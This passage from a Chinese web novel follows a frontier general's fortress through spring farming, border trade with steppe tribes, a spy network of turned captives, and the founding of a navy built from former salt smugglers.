更要强调秦猛对鞑虏态度强硬,誓要扫平草原。那些草原蛮子,既贪图财货,又受此挑衅,闻着腥味岂能不动心?
届时,成千上万的草原骑兵扑向铁血军寨,就算他秦猛是三头六臂,再能打,也得脱层皮!”
“我们不需要动手,只需坐山观虎斗。”
此计甚毒!既避免了直接冲突,又能借刀**。崔文远听完,脸上的暴怒渐渐化为阴冷的笑意。
“好!苏老先生此计大妙!此事就交由你全权办理。趁着边军大比空档,所需钱物,尽管支取,务必做得干净利落,不要留下任何把柄!”
他又看向杨烁和庞会:“你们也加紧追查货物被劫、产业被夺之事,明面上总要做出个样子来!”
“得令!”
……
然而,就在幽州城内紧锣密鼓地谋划着毒计时,铁血军寨那日益高耸的寨墙和勃勃生机,仿佛一道无形的屏障,将这一切阴谋隔绝在外。
秦猛每日依旧按部就班地巡视春耕、督促建设,练兵习武,神色平静。
但他心中如明镜一般,对崔文远的第一轮回敬,对方已经收到,并且戳到痛处而暴跳如雷。
接下来的连环针对暂且放下。
他主要精力投入到边军大比,不仅是展示实力的舞台,更是
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铁血军寨扬名立万的好机会。
他必须让麾下儿郎,一鸣惊人,夺得魁首,才能得到晋升偏将的名额,在这北疆真正站稳脚跟!
温暖的阳光持续洒落北疆大地,气温显著回升,残存的冰雪迅速消融,汇成涓涓细流,注入界河。
几乎是一夜之间,枯黄的大地上冒出了星星点点的嫩绿,空气中弥漫着泥土和青草的芬芳。
北地,迟来的春天终于彻底降临。
而边陲各地,如铁血军寨迎来了最繁忙的季节。
界河浅滩处的薄冰早已碎裂融化,重现流水潺潺的景象。
主寨前后门大开,除了必要的警戒和日常操练的精锐部队,几乎所有能动弹的人员都被组织起来,投入了轰轰烈烈的春耕生产之中。
广袤的荒地上,人声鼎沸,热火朝天。将士们脱下盔甲,换上粗布短衫,和民众一起挥舞着铁镐锄头,翻垦着沉睡了一冬的土地。
妇孺老弱则负责清理草根、平整土地。木工坊赶制的水车部件被运到河边,匠人们指挥着青壮劳力安装调试,一道道沟渠被开挖出来。
就连被服工坊也抽调了大量人手支援春耕。
少青班的孩子们在完成必要的文化课和军事基础操练后,也在先生的带领下来到田埂边,帮着大人点种、浇水,同时学习农事知识。
开荒的队伍早已与芦苇堡、双涡堡的垦殖区连成一片,三大戍堡周围,大片大片的荒地变成了整齐的田垄,景象蔚为壮观。
军寨推行的是“农耕和放牧”相结合的政策。
一般每户可分得五十亩田地,若自愿领取羊群从事放牧,则根据羊群数量相应减少授田亩数。
南狼戎族的归附民众多选择此种方式。后续迁来的流民,遵循这一政策进行安置,秩序井然。
秦猛身先士卒,时常带着亲兵和女兵队的成员下地劳作。
他挽起袖子,熟练地挥舞锄头,让那些平日里只知舞刀弄枪的将士们亲身体验到了“锄禾日当午”的艰辛,更加明白了“粮食来之不易”的道理。
安北将军亲自下地干活,被人相互议论成为美谈。这种同甘共苦的场景,极大地凝聚了人心。
日子在忙碌中一天天过去。
四月初,军营内外已是鸟语花香,生机盎然。
狼戎长老贾德也在军医调理之下,病情逐渐好转。已经能够处着拐杖在安置区与族人唠唠家常。嘱咐他们好好学习耕种这解决温饱之法。
就在军寨为了春耕忙碌之时!
“报——急报……”双涡堡那边却有斥候飞马而来!
第346章 通商榷场,草原风向
往常急报都是**来犯,这回急报却是个好消息!
自狼戎族黑狼部落覆灭,族人被打包南迁安顿,其留下的地盘内多处丰美牧场和水源地,迅速被邻近的狼戎族白鹿部和青狼部瓜分。
这也是当初秦猛在口头约定中许诺的。同忒狼戎族,黑狼部控制的地盘应当由你们族人继承。
这两个部落喜闻乐见,自是不会拒绝。秦猛说可以双边展开贸易,各取所需之事也被他们记住。
这不,草原那边风雪止住后,白鹿部和青狼部,连同南室韦的山神部,竟然主动派出了使者,从北狼口浅滩区渡过界河,来到双涡堡。
他们试探性地接触,提出希望用牛羊换取粮食、盐铁等物资——这些都是他们部落急缺的。
草原大多不适合耕种,盐湖多被强大的部落占据。中小型部落想获得,就得拿牛羊来换,饱受剥削,粮食马匹不足,部落难以发展。
秦猛正是基于这个原因,提出了可以展开贸易。彼此离得近,草原部落自然是要来尝试。
坐镇双涡堡的张富贵不敢怠慢,立刻派人飞马向军寨汇报。
秦猛接到消息后,与王槐、诸葛风、赵开明等人简单商议,便做出了决断:允许进行贸易。
他深知,一味封锁并非上策,反而适得其反。可控的贸易既能获取急需的牲畜、皮**药材等。暗中操作得好,也能分化草原各部。
他不仅同意交易,还让人送去许多粮食物资。并慷慨地送出一批雪花盐和北风烈作为“见面礼”。
……
双涡堡,这个原本边境破败的小堡、纯粹的军事戍堡,在常九、李家、罗家等地头蛇的暗中支持和物资输送下,竟也焕发出惊人的活力。
一个规模虽不算大,但五脏俱全的小集市在堡寨外围逐渐形成。
两千余人的**(戍军、军属、安置的流民)带来了稳定的人气。
集市上,由军寨统一调配过来的粮食、布匹、铁器、盐货等物资在各家铺中陈列,虽不奢华,但品类齐全,足以满足日常需求和初步的贸易交换。
这一日,集市迎来了特殊的客人。
青狼部、白鹿部和南室韦山神部的使者们,怀着忐忑的心情,驱赶着数百头牛羊,踏过了界河浅滩。
越靠近这座戍堡,他们眼中的惊讶之色就越浓。
只见河岸南边,大片原本荒芜的土地已被开垦成整齐的田垄,无数人影正在田间地头忙碌。
引水的沟渠如同银带般穿梭其间,几架巨大的水车在河边缓缓转动,一派生机勃勃的农耕景象。
这与他们印象中萧条、紧张的边境截然不同。
待他们被引到双涡堡外的集市,看到虽简陋但秩序井然、人来人往的交易场景时,更是愕然。
张富贵早已按秦猛的指示做好准备。
他按照略高于内地、但远低于草原传统交易中奸商盘剥的价格,与这些草原来客进行交换。
最终,三个部落各用三百头羊、五十头牛,换取了数千斤耐储存的粟米、麦子等粮食,以及一批他们急缺的盐巴、菜油,酱油等调味品。
当张富贵让士卒捧出那雪白细腻、毫无杂质的雪花盐时,草原使者们的眼睛瞬间直了。
“这竟然是盐?”他们伸出手指蘸了一点放入口中,那纯粹的咸味让他们发出了难以置信的惊叹。
紧接着,当粗陶碗盛着的“北风烈”酒端到面前时,他们先是谨慎地嗅了嗅那浓烈的酒香。
然后,小心翼翼地抿了一口。
入口的辛辣让他们皱起了眉头,但随即而来的甘甜回甘和一股暖流从喉咙直通胃腹,继而扩散到四肢百骸的舒畅感,让他们彻底沉醉!
“好酒!真是天神赐予的火焰!”青狼部的使者咂着嘴,脸上满是红晕和陶醉,“比马奶酒够劲十倍!”
张富贵见状,大手一挥,豪爽地笑道:“这盐和酒,是咱们秦将军送给各位头人的见面礼!
秦将军说了,和平贸易,互通有无,对双方都有利。打打杀杀,除了增加仇恨和尸体,什么都得不到。”
他话锋一转,指着剩下的货物:“不过,若是这等美酒和雪花盐得来不易,若是各位还想多换,那就得用上好的战马或者健牛来换了。”
使者们感激涕零,连连道谢。
他们带着样品和“欢迎日后常来,可在此处榷场进行更大宗贸易”的承诺,心满意足地驱赶着换来的物资返回草原。
与此同时,军寨派出的“飞天卫”精锐探马也如同无形的风,带着和平贸易的消息,悄然吹向草原深处。
很快,边境线上这条新兴的、受安北将军府严格控制的贸易通道,开始悄然运转起来。
草原的牛羊、皮**、药材开始涓涓流向南岸,换回他们急需的粮食、盐和那令人痴迷的“北风烈”。
秦猛坚持的公平交易原则,更是被大肆宣扬开来。像一颗种子,在众多中小部落心中萌芽:
原来,与南岸的汉人打交道,除了冒险入境**外,还有一条更安稳、
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更划算的路可走。
然而,在这片新生的和平景象之外,并非所有目光都带着善意。
界河北岸遥远的草丘之上,从草原风雪停歇过后,不少契丹,或女真游骑的身影悄然隐现。
他们冷冷地注视着南岸热火朝天的农耕盛况,芦苇堡建设,铁血军寨、双涡堡方向的喧闹,眼神阴鸷,充满了刻骨的仇恨与冰冷的审视。
去年惨败的耻辱如同毒蛇般啃噬着他们的心,见到对岸如此兴旺,恨不得立刻挥师渡河,杀光所有人,将其焚为白地,方能以泄心头之恨。
但现实却束缚着他们的手脚。
奈何春季回暖,冰雪消融太快,界河冰层融化已然酥脆,根本无法承受骑兵大队的冲击。
若想从几处熟悉的浅滩涉渡,又怕中了南岸守军的埋伏。
最关键的是,春季正是草原生灵复苏、畜群分散放牧的关键时期。
各个部落,无论是纯粹的游牧部落如契丹一部,还是半定居半耕种的女真部落,其青壮劳力和大批战马都分散在广阔的草场上,追随着水草移动,以保障牛羊驼马的繁衍和生长。
在这种生产模式下,春季根本无法大规模集结兵力,任何部落若在此时,强行征调人马,无异于自毁部落根基。
尤其是去年在秦猛手下吃了大亏的女真蒲察部、秃鹫部、黑鹰部,更是有苦难言。
他们以半农半猎半牧为生,本以为能占些便宜,却没料到遭遇迎头痛击,损失了大量青壮劳力。
其中尤以蒲察部损失最为惨重,折损了超过三千勇士,部落元气大伤。
眼下,他们不仅要面对内部阵亡者家属的抚恤难题,部落生产和防卫力量也出现巨大空缺。
更要命的是,草原法则弱肉强食,尤其是嚣张的女真部落,周边的对手绝不会放过这个机会。
很快,以狼戎族白鹿部、青狼部为首,背靠大周支持,联合周边一些小型部落,开始蠢蠢欲动。
他们借着牧场**等由头,时常越过传统界限,不断挤压、侵占蒲察部等战败部落的优质牧场。
这种趁你病要你命的行为,在草原上乃是常态。蒲察部等疲于应付这些来自“自己人”的骚扰和蚕食,一时间竟难以将主要精力投向南岸的仇敌。
这种情况是草原部落间彼此争夺牧场是普遍的现象,也为秦猛争取了宝贵的巩固和发展时间。
南岸的垦荒耕种与榷场贸易在一种微妙的、充满敌意的注视下,却又相对安全地加速进行着。
第347章 阿古尔的抉择
在广袤的草原深处,契丹族八大部落之一的伏弗郁部,正盘踞在一片水草丰美的河谷地带。
万帐毡房连绵,人口数万,牛羊漫山遍野,牧场方圆上千里,占据盐湖,彰显着其强大实力。
然而,在这看似繁荣的背后,是与中原王朝一样森严的等级和内部**导致的巨大贫富差距。
阿古尔,一个刚刚成年的伏弗郁部底层青年,正蹲在自家破旧、在春风中依旧显得有些漏风的毡房外,姿势笨拙地晒着半布袋青稞种子。
他的父亲在帐内不住地咳嗽,几个面黄肌瘦的弟妹正有气无力地搅拌着干牛粪,准备用来生火。家里仅剩的两头瘦马,三头老牛和二十几只羊,是这个家庭漫长寒冬过后的希望。
去年秋天,他怀着改变命运的希望,跟随部落的酋帅萧铁鹰出征南岸,梦想着抢回粮食、布匹和荣耀。
然而,等待他们的却是一场惨败。
部落的“拔成之鹰”连战连败,族人折损数千人。他不幸成了俘虏,在铁血军寨阴暗潮湿的地牢里受尽酷刑。
最终因为恐惧绝望、家人牵绊,成为了最早一批崩溃、交代了部落内部诸多情况以求活命的人之一。
后来,部落付出了代价将他们这些俘虏赎回,可他相依为命的哥哥,却永远留在了界河南岸。
部落承诺给阵亡者家属的抚恤?
不过是头人牙缝里漏出的些许残渣,早已被层层克扣,到他们手中时几乎可以忽略不计。
那些贵族老爷们,部落里死伤数千,家家哭嚎,他们却依旧日日饮酒作乐,仿佛什么也没发生。
“凭什么?”阿古尔握紧了拳头,指甲深深掐进掌心。
“凭什么我们卖命,死的死,伤的伤,回来依旧一无所有?那些贵族,生来就高高在上吗?”
他想起了在汉人地牢里,听看守说过的一句话:“世上谁又比谁高贵?王侯将相,宁有种乎?”
此刻,这句话在他心中疯狂滋长。
他偷偷瞥了一眼自家毡房左右,确认无人注意,便悄无声息地挪到马槽下方,用短刀撬开一块松动的泥土,挖出几块沉甸甸的银饼。
——这不是部落的赏赐,而是他回到部落后,在一个约定的地点,从一块石头下取得的“报酬”。
来自界河南岸的铁血军寨。
这是在自己投靠后,对方答应给的安家费。他当时以为只是笑话,却不曾想,汉人如此信守承诺,在风雪夜送过来,与说好的分毫不差。
阿古尔本以为回到部落后,汉人对他没有办法。也是不想碰这些财物,更不想背叛部落。
可自己家没有余粮了,父亲生了病,没钱抓药。几个弟弟妹妹忍饥挨饿,几天也没吃过饱饭。
他没有任何办法!
只能走上这条路,确保家人安危。
阿古尔用刀小心翼翼地切下一小块银子揣入怀里,准备去给病重的父亲换些草药。又切了一块,准备去氏族头人家,换些口粮与盐巴。
然后,他深吸一口气,从贴身的皮囊里取出一小块硝制过的薄羊皮,用烧黑的树枝,将他回到部落这几个月来所见所闻的重要信息,仔细地记录下来:
酋帅萧铁鹰因战败威信受损,与勃发斤等万夫长的矛盾;
部落没有向王庭求援,这个秋天能集结的大概兵力;
贵族们对南岸是战是和的争吵;
甚至还有他偷偷听到的,关于某些贵族与南方幽州某位“大人物”有暗中往来的模糊传闻……
写完这些,他仔细将羊皮卷好,塞进一个皮囊。
傍晚时分,他借口去买药,骑着家里那匹瘦马来到了离部落**地数里外的一片荒滩。
这里散落着一些巨大的青色岩石。
他警惕地环顾四周,迅速将皮囊塞进其中一块形似卧牛的大青石底部,并在石头朝南的一面,用碎石划下了一个不易察觉的交叉记号。
做完这一切,他仿佛被抽空了力气,靠在冰冷的石头上,望着逐渐暗淡的天空,眼中充满了迷茫、愧疚,以及一丝对不公命运的报复性的快意。
而这是他跟铁血军寨暗部约定的接头方式之一。
深夜,万籁俱寂,只有风声掠过荒原。一道如同鬼魅般的黑影,悄无声息地接近了这片青石滩。
黑影动作敏捷,准确地找到了那块有记号的卧牛石,伸手探入底部,取走了那个装有情报的皮囊,随即再次融入黑暗,仿佛从未出现过。
草原的夜,依旧深沉,但暗流,已然涌动。阿古尔这个小人物的无奈抉择,或许将在不久的将来,在这片土地上掀起意想不到的波澜。
然而,这股暗流远比表面看到的更为汹涌。像阿古尔这样在生存与忠诚间挣扎,最终无奈之下,选择为铁血军寨提供情报的,远非个例。
仅契丹伏弗郁一部,暗中递出投诚信号的便有十多人。
此外,去年冬季那场“滥竽充数”的俘虏交换中,也有部分被秦猛有意放归、或安**铺察部、或返回本部的“内应”如迭剌部,徒单部。
他们回到部落,发现家眷受
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人欺凌,牛羊被抢夺。为了让家人熬过寒冬、吃上一口饱饭;
为了在严酷的草原等级制度下寻得一线生机。
他们不得不做出选择,向周人贩卖情报来获利。这无关宏大的种族立场,而是最原始的生存本能。
开春后,这些“识时务”的暗桩,他们如同草原上悄然蔓延的草根,看似微弱,却在地下编织成一张无形的情报网络。
他们开始利用部落**、牧场转移、甚至是看似偶然的冲突,将一份份关乎部落动向、贵族矛盾、乃至与幽州神秘人物勾结的传闻,按约定方式,将一份份沾着草屑的情报送出。
一封封或简或详的密信,被军寨“飞天卫”的精英悄无声息地接收,迅速汇拢至军寨暗部。
暗部“飞天卫”则像经验丰富的牧人,甄别着这些来自阴影的信息,秦猛案头的情报越来越厚。
情报价值,也经由他和诸葛风等人初步评定。相应的银钱、甚至是一些部落急需的药品,会通过极其隐秘的渠道送达那些暗桩手中。
这种“守信”与“精准”的支持,远比空头许诺更能牢牢拴住这些人,犹如牢牢拴住他们的绳索。
秦猛翻看着最后送来的几份关键情报,特别是关于伏弗郁部等大部落计划“待秋高马肥,再行南下”的内容,嘴角勾起一抹冷峭的弧度。
“哼,打算秋天马肥了再来?想得倒美。那也得问问我的刀,答不答应让它们安心吃草到秋天。”
他并未因获得了相对确切的情报而有丝毫松懈。春耕固然需要大量人力,但军寨的武备从未放松。
始终保持上千精锐进行高强度训练和战备。界河沿岸的明哨暗卡不仅没有减少,反而更加隐蔽和频繁。
飞虎卫驻地的赵平、周扬所部,采用轮换制,各自率领千人,一边护卫垦荒,一边保持战备。
南河城寨的魏文也派出人马,确保新开辟的牧场安全。
即便是在这播种希望的季节,边军的刀锋依旧磨得雪亮。
二月底,冀州运河率先通航,南方的商船开始北上的破冰之旅。
至三月下旬,幽州境内运河也彻底畅通,南北物资交流复苏。与此同时,拒马河冰层消融。
阮大兄弟率领的几艘鱽鱼战船早已在界河与运河交汇处巡弋。
四月初五,界河上迎来空前盛况——李明率四十余艘大小船只组成的船队,浩浩荡荡驶回。
船上不仅满载物资,更带来了上千名新兵、水手、船工及他们的家眷,总数超过两千人。
第348章 军寨水军建立
李明带着船队和人手返回,铁血军寨也迎来了一件大事。随着阮大兄弟在界河、运河上的前期摸索,组建正式水军的条件已然成熟。
四月上旬末,这天。
小南河一处平整出的码头上,旌旗招展。尽管为了保密,没有举行大规模的公开仪式。但军寨步兵营,骑兵营的核心将领几乎悉数到场。
秦猛身着安北将军的常服,亲自将两面绣着“镇海一营”、“镇海二营”字样的营旗,分别授予阮大和李明。
“阮大!”
“末将在!”阮大踏步上前,声如洪钟,脸上是压抑不住的激动,终于有了堂堂正正的身份。
“即日起,命你为水军镇海一营都统,阮二、阮三为副,**船二十艘,战兵七百,水手,船工三百!望你等如蛟龙入海,护我水路防线。”
“得令!必不负将军重托!”
阮大应声双手接过沉甸甸的营旗,用力挥舞。
“李明!”
“末将在!”李明同样激动,声音发颤。他没想过,这么短时间就从私盐贩子升为水军都统。
“命你为水军镇海二营都统,李威、李猛为副,**船二十艘,战兵六百,水手,船工三百!我要你的船队,同样是能运兵,更能打仗!”
“末将誓死效力!”李明接过军旗,嘶吼领命。
简短的授旗仪式,也只有军寨核心人员见证。却意味着铁血军寨终于拥有了自己的水上力量。
这两营水军,便是未来的根基。
紧接着,极具特色的训练即刻展开。为了掩人耳目,避免过早刺激幽州方面和北岸的敌人,秦猛定下了“化军为商,明商暗兵”的策略。
er十余艘战船只被重新油漆,卸去明显的军械标志,看上去,几乎与寻常的漕运商船无异。
接下来的日子,两营水军投入训练,小南河和界河的河面上,出现了一支“繁忙”的船队。
它们看似在常规航行,实则熟悉战船,时而编队行进,时而模拟遭遇“水匪”的疏散与集结。
船上的水手和战兵,穿着油绸缝制的普通民服,却在船舱内紧张地练习操帆、摇橹、接舷跳帮,甚至是在伪装下,演练**机射击。
夜晚,船队则会选择偏僻的河湾进行灯火管制下的夜航和突袭训练,甚至两营水军对抗训练。
这种高度拟真的训练,让新老水手们迅速磨合,实战能力快速提升。
军寨水军在逐渐成型,但这只是开始。
紧随其后,在几天后的晚上,由“翻浪里蛟”孙阔、“翻海鲨”刘猛为首的十几股大小私盐贩子组成的联合船队,浩浩荡荡地抵达军寨。
大小船只上百艘,运来了堆积如山的土法海盐,以及又一批千多名精壮汉子和他们的家眷。
这些盐枭手下,多是精通水性、能操帆驾船,又是群亡命之徒,是扩建水军的绝佳兵源。
秦猛得到李明汇报后,并未在官署内接见这群盐枭,而是选择了军寨码头旁新设的演武校场。
他一身轻甲,按刀立于点将台上,身后侍立着王善等亲卫将领,台下是数百名亲卫营铁甲精锐。
这不是简单的会面,而是一次展示,一次震慑,也是一次考核。
当李明引着孙阔、刘猛等几十名盐枭头目穿过军寨。看到沿途操练的虎贲之士,感受到那冲天的杀气时。这些桀骜的汉子脸上惯有的江湖匪气早已收敛,取而代之的是拘谨和震撼。
步入校场,看到点将台上那道年轻却威势凛然的身影,以及台下那一片钢铁丛林般的军阵时,这些在水上叱咤风云的豪强,竟不由自主地感到了心悸。
“诸位远道而来,辛苦了。”秦猛的声音不高,却清晰地传入每个人耳中,带着一股不容置疑的威严。
“我秦猛,蒙朝廷信重,授安北将军之职,守土安民,是我的本分。也向来赏罚分明,有功必赏,有过必罚。
在我这里,是龙,我给你翻江倒海的机会;是虎,我许你啸傲山林的战场。但前提是,以前江湖那套要收敛,得守我铁血军寨的规矩!”
他没有过多寒暄,直接切入主题,目光如电,扫过众人:“现在,告诉我你们的想法。
是愿入我军中,凭战功博个封妻荫子?还是愿在军寨水曹,发挥所长,为我军寨粮饷畅通效力?”
孙阔为人圆滑,立刻上前一步,躬身笑道:“将军明鉴,小人等在水上漂惯了,野性难驯,只怕军中规矩森严,冲撞了军法。愿入水曹,为将军效力运输之事,保证粮盐畅通无阻!”
他说话时,眼神却不自觉地瞟向校场上那些寒光闪闪的兵刃。
而刘猛则截然不同,他胸膛一挺,声若洪钟:“秦将军!俺是个粗人,不懂那些弯弯绕!
就佩服将军这样的英雄好汉!愿加入军中,为将军冲锋陷阵,刀山火海,绝不皱一下眉头!”
他身后一众以勇力著称的头目也纷纷附和。说着“愿在军中效力杀**”“保境安民”之类的话。
秦猛将众人神色尽收眼底,心中已有计较。他朗声道:“好!人各有志,不强求。
孙阔,即日起,你为军寨水曹副使,领运输船队副都统,负责统筹所有民用运输船只
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,协办粮盐转运,直接向长史王槐,或佐史韩勇汇报!”
“刘猛,即日起,授你部将衔,归属水军统领阮大节制,熟悉军中事宜,将来组建水军第三营。
其余各位,根据所长与意愿,分别编入水军训练或水曹做事,具体职务,由将军府与水军诸将会同拟定,今夜签发文书,明日张榜公布!”
“记住,初始职位可能不高,但只要你有本事,肯努力,必定不会埋没,有你发挥特长之时。”
这番安排,既考虑了个人意愿,更体现了秦猛的控驭之术。将孙阔这类心思活络的放在相对独立但至关重要的运输系统,并纳入文官体系管辖。
而将刘猛这等悍勇之徒直接纳入军队序列,用严格的军纪加以约束,使其勇力为己所用。
随后,秦猛话锋一转:“尔等运来的海盐,军寨不会白要。按市价公平收购,银钱即刻结算。”
此言一出,孙阔等人更是又惊又喜。
他们本以为这批盐就算“投名状”了,没想到还能拿到真金白银,对秦猛的“信义”和“豪爽”有了更直观的认识,归附之心更诚。
随着这批生力军的加入,军寨如同注入了新的活力。
水军规模急剧膨胀,阮大、李明等人日夜操练,被卸货编队的盐船不仅在运河上穿梭,也开始成建制地进入界河巡航,守护水上粮道。
一袋袋夹杂不少杂质的海盐被卸下船,送入军寨。足足有数千石,炼盐作坊区日夜不息,将收购来的海盐提炼成雪花盐,利润倍增。
然而,这是队伍图本附带的好处之一。
最大的好处就是这些盐贩子,以及其家眷人口,又来了两三千人,加上先前李明带来了一波,数千人涌入,军寨人口再次迎来暴增。
诸葛风、王槐、刘国栋等人忙得脚不沾地,迅速将这些新来的人口登记造册,妥善安置。
很快,这些新面孔也拿起了农具,融入了垦荒或营建。这种边境地区军民一心、奋力垦荒的盛况,在大周其他安稳内地是难以见到的。
一片又一片土地被翻耕、播种。
冬季过后,泥土本就湿润,较为肥沃,气温适宜,播撒下去的种子,短短几天就冒出绿芽。
四月中下旬的时候,庄稼长势喜人,农田一片苍绿。
肥地里有春小麦,较为贫瘠的土地里种植荞麦、高粱,边角地、田埂上种植豆子,瓜果等。
突显出一片生机勃勃,以及田地间忙碌的人群,军寨牧场也建起来了,狼戎人为主的放牧队伍分散在各处,一头头牛羊,马匹啃着嫩草……
第349章 榷场兴,利刃淬
入春以来,铁血军寨扎根在北疆这片土地上,仿佛一头苏醒的巨兽,以前所未有的速度膨胀、强大。
从海州涌入数千百姓,人口突破两万大关,带来的不仅是熙攘的人烟,更是**性的生产力。
主寨前后两座以青石垒砌的瓮城竣工,入口呈喇叭状,如同狰狞的獠牙,宣告着此地的不可侵犯。
附寨的寨墙日夜不停地垒高、加固,一座座功能各异的军事建筑如雨后春笋般拔地而起,勾勒出新兴寨区的轮廓。
而其中最引人注目的,莫过于最先建成并投入使用的商业街——军寨榷场。
老保长王槐将此地视为军寨命运的转折点,倾注了全部心血。
他亲自选址,精心规划。拥有军寨官方背景的铺面自然是龙头:
专售雪花盐、北风烈等“军需官营”铺子门庭若市,刚建成的牲畜交易市场里牛羊嘶鸣,人气鼎沸。
大厨程河的“天下楼”(又名聚贤楼)在军寨资源支持下盛大开业,三层木楼气派非凡,不仅提供美食,更成为消息汇集、人才汇聚之地。
唐老丈也有着军寨支持,新开的“南河糖铺”甜香四溢,标志着军寨的糖业正式走向规模化。
王保长没有忘记老朋友,第一时间就送去了消息,常氏、李家、罗家等合作商家的商铺,也陆续从简陋的窝棚搬进了结实宽敞的寨楼。
按照去年谈妥的条件,军寨以土地所有权换取长期税收和控制力,商贾们则以优惠价购得经营权,并获得军寨颁发的“经营许可证”。
这薄薄一张纸,价值千金,却意味着受军寨保护,可申请军队护卫,乃至未来随军贸易的资格。如军队出征草原,商队和运送货物随行。
换言之,这许可证,就是一张发战争财的门票!
这几家大商号如同闻见血腥的鲨鱼,迅速抢占了最繁华地段的铺面,展示出惊人的财力。
若非铺面有数额限制,怕是好的地段一处不剩。
随着幽州境内运河通航,中原、江南的商队循着“安北将军”秦猛的威名和利益的诱惑蜂拥而至。
尤其是去年与军寨说好的商队,占据不小的优势。知道许多去年没来军寨报备的商贩懊悔。
第二批商队入驻,带来了琳琅满目的江南特产:精致的丝绸、清香的茶叶、多样的粮油酱醋,价格公道,极大丰富了军寨的物资储备。
医馆、客栈、杂货铺、粮铺等铺面相继开张,商业街张灯结彩,人流如织,喧嚣声直上云霄。
最初横纵规划的两条街道很快就不敷使用,王槐当机立断,再次组织人,第三第四条商业街即刻动工,一个颇具规模的商业区雏形已现。
每日的税收如涓涓细流,先汇入监镇衙门,再涌入军寨府库,为这头巨兽输送着成长的血液。
然而,在这片繁荣景象之下,秦猛比任何人都清楚,草原鞑虏在,北疆的安宁如同琉璃般脆弱。
赵平确认鞑虏不会来,率领千余边军精锐返回幽州大营准备大比,南岸防御力量顿时显得单薄。
草原上的契丹,女真吃了亏,岂能善罢甘休?这群豺狗只要寻到机会,就会疯狂扑来撕咬。
“没有刀剑守护的财富,不过是替他人做嫁衣。”秦猛在军事会议上斩钉截铁。朝廷兵额限制?
他不在乎。他效仿抗战先辈,以“保境安民”为名,大规模招募“土兵”、“民兵”来训练。朝廷不承认的编制,他秦猛来承认,发粮饷。
命令下达,庞仁等人奔走于燕北郡各州县,以“吃饱饭、有田种”的承诺,吸引大量流民青壮涌入。
军寨各处营地,新兵操练的号子声震天动地,与商业区的喧嚣交织成独特的乐章。
常家多支漕运船队一次次满载粮食抵达南河集镇。李家、罗家等本土势力的商队川流不息,运来铁料、布匹、粮食,换走盐、酒、皮**。
庞大的财源,支撑着迅速的扩军。
春耕结束后,秦猛将繁琐的政务交由王槐、诸葛风等人处理,他自己则全心扑在练兵上。
针对边军大比的“预备队”和作为军寨尖刀的“尖刀连”,他亲自带队进行超越常规的“特种训练”:野外生存、潜伏渗透、极限体能……
同时,麾下所有部将以上军官,如张富贵、秦大壮、李山、刘铁柱、王善、常勇、鲁真、林怒等,被集中起来进行军事学习,强化训练。
个人武艺——演武场上,马上马下,真刀**的较量日日上演,最终排出了众将的勇武榜:
马上猛将以张富贵、鲁真为首,两**战五十回合,难分伯仲,依次是林怒、王善、袁飞、常勇。
前五之后就是八勇将,林军、张大胆、徐强、**,伯恩、赵虎、刘铁柱、赤兀惕
步战狠人以乌维、王铁山为尊,随后是牛五、刘猛、阮大。
八大勇将,秦大壮、李明、阮二、李山,阮三、韩勇、秦小六,李威。
秦猛因其非人实力被众人“踢出”排名。他也没有任何偏袒谁,真刀**,打不过,就是打不过。这排名依靠着个人表现而论,没有作假。
更重要的是指挥能力的锤炼。
除了带队进行对抗,沙盘推演室内,时常爆发激烈争论。
秦猛时常设置极端战局:
以寡敌众、粮道被断、腹背受敌……
考验着将领们的应变、决断与协同,熟悉各种战术。
四月的铁血军寨,
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就像一座处于临界点的火山,一边是生机勃勃的繁荣市井,一边是熔岩般沸腾的战争准备。
所有人都明白,边军大比是一次亮相,而秋季时,可能到来的大战,才是真正的生死考验。
时间紧迫,唯有将自身磨砺成最锋利的剑刃,方能在这片土地之上,杀出真正的立足之地!
在铁血军寨蓬勃发展的宏图之中,后组建的畜牧部虽不显眼,却同样扮演着至关重要的角色。
奶制品作坊挤牛奶,制奶酪,飘出诱人的奶香,皮**工坊将猎获与牧养所得加工成御寒的衣物和帐篷,广阔的牧场划分有序,牛羊成群。
其中不乏归附的南狼戎族的老牧民担任管理,领队放牧,他们的经验确保了牧业的顺利发展。
然而,类似畜牧,军寨最核心的机密,却藏在寨子边缘一处戒备森严、看似平常的院落里。
——这里是军寨的驯鸽基地。
负责人刘瘸子,曾是戍堡土兵,因伤退役,却对犬类、猎鹰等鸟类有着天生的亲和力。在他的精心打理下,这群鸽子被照顾得极好。
入春后,去年几十对鸽子繁殖,鸽舍里也迎来了大量新生命,雏鸽的啁啾声预示着规模的扩大。
秦猛深知信息传递的速度意味着什么,他力主发展的“飞鸽传书”项目就在这里悄然进行。
军寨吸纳的人才中,一位名叫“鹞子”的驯鸟能人发挥了关键作用。
他通过特定的哨音、旗语和食物诱导,对鸽子进行强化训练。
每日清晨和傍晚,成群的鸽子随着不同频率的口哨声腾空而起,在空中组成变化的阵型,然后飞向预设的不同方向。
训练内容包括定向归巢、负重飞行、恶劣天气适应等。
驯养基地规模已从最初的几个鸽舍,扩展成拥有数十间标准化鸽房、训练场、孵化室、饲料库的独立区域。
为确保这些“空中信使”的健康,军医和兽医被专门请来协助。
他们制定了严格的防疫制度:
所有饲养人员进入前必须更换专用衣物,并用艾草、石灰等配置的特制药水洗手消毒;
鸽舍每日清理粪便,定期洒扫消毒,保持干燥通风;饲料精心配比,确保营养。
刘瘸子心细如发,对每只鸽子的状态都了如指掌。
如今,初步的训练已完成,飞鸽传书系统开始小范围投入军用,在军寨与芦苇堡、双涡堡等外围据点之间建立了比快马更迅捷的联系。
这群翱翔的鸽子,承载着军寨的耳目与神经,是秦猛极力打造,布局未来战场的一着暗棋。
而经过这段时间,老保长刻意让人宣传造势。秦猛被拜为安北将军的消息如长了翅膀般传开!
第350章 商盟秘议,投名北行
四月的沧澜运河,宛如一条奔腾的玉带,河面最宽处逾六十丈,在骄阳下闪烁着碎金般的光芒。
漕船、官船、客舟往来如织,河面上吆喝不断,说笑声,号子声,汇聚成一曲繁华的漕运交响。
年轻东家邓龙,身着一件略显风尘但质地精良的湖蓝色绸衫,独立于领头双桅漕船的船头。
他身形清瘦,面容带着江商人特有的精明,只是眉宇间比去年此时多了几分沉稳与历练。
他的手指无意识地反复摩挲着腰间一块温润的羊脂玉佩,目光看似落在前方浩渺的水面上,实则已穿透时光,回到了去岁那个风雪交加、绝望彻骨的寒冬。
——货船因狗官刘德福的昏聩政令耽搁了行程,凶悍的**骑兵如同嗅到血腥的狼群般扑来……
